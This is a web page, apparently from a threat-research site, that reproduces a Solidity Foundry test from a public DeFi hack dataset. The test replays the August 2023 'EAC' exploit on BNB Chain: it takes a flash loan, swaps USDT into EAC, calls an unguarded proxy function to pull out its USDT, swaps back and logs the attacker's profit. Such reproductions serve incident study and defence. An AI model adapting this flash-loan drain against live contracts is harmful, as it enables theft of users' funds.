Skip to content
THREATWIRE

Public reproduction file

src/test/2023-08/EAC_exp.sol

Public reproduction file for dataset entry EAC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/EAC_exp.sol53 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$29BNB
8// Attacker : https://bscscan.com/address/0x27e981348c2d1f5b2227c182a9d0ed46eed84946
9// Attack Contract : https://bscscan.com/address/0x20dcf125f0563417d257b98a116c3fea4f0b2db2
10// Attack Tx : https://bscscan.com/tx/0x477f9ee698ac8ae800ffa012ab52fd8de39b58996245c5e39a4233c1ae5f1baa
12// @Analysis
13// Twitter Guy : https://twitter.com/bbbb/status/1696520866564350157
15contract ContractTest is Test {
16 address private constant usdt = 0x55d398326f99059fF775485246999027B3197955;
17 address private constant pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
18 address private constant dodo_pool = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;
20 address private constant proxy = 0xa08a40e0F11090Dcb09967973DF82040bFf63561;
21 address private constant eac = 0x64f291DE10eCd36D5f7b64aaEbC70943CFACE28E;
23 function setUp() public {
24 vm.createSelectFork("bsc", 31_273_019 - 1);
25 vm.label(usdt, "USDT");
26 vm.label(eac, "EAC");
27 vm.label(pancakeRouterV2, "PANCAKE_ROUTER_V2");
28 vm.label(dodo_pool, "DODOPool");
29 }
31 function testExploit() public {
32 IDPPOracle(dodo_pool).flashLoan(0, 300_000_000_000_000_008_388_608, address(this), new bytes(1));
33 }
35 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
36 swap(usdt, eac, IERC20(usdt).balanceOf(address(this)));
37 proxy.call(abi.encodeWithSelector(0xe6a24c3f, IERC20(usdt).balanceOf(proxy)));
38 swap(eac, usdt, IERC20(eac).balanceOf(address(this)));
39 // pay back
40 IERC20(usdt).transfer(msg.sender, 300_000_000_000_000_008_388_608);
41 emit log_named_decimal_uint("Attacker USDT balance after exploit", IERC20(usdt).balanceOf(address(this)), 18);
42 }
44 function swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
45 IERC20(tokenIn).approve(pancakeRouterV2, type(uint256).max);
46 address[] memory path = new address[](2);
47 path[0] = tokenIn;
48 path[1] = tokenOut;
49 IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
50 amountIn, 0, path, address(this), block.timestamp + 1000
51 );
52 }

Analysis

Dataset entry

Public Foundry test for “EAC” (2023-08-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x27e981348c2d1f5b2227c182a9d0ed46eed84946

  • Attack Contract

    0x20dcf125f0563417d257b98a116c3fea4f0b2db2

  • Attack Tx

    0x477f9ee698ac8ae800ffa012ab52fd8de39b58996245c5e39a4233c1ae5f1baa

File record

Name
EAC
Path
src/test/2023-08/EAC_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
7699d767ce0f1d751d2797dd464b48c02bcd18f8
Language
Solidity
Size
54 lines
Date
2023-08-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-08/EAC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7699d767ce0f1d751d2797dd464b48c02bcd18f8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.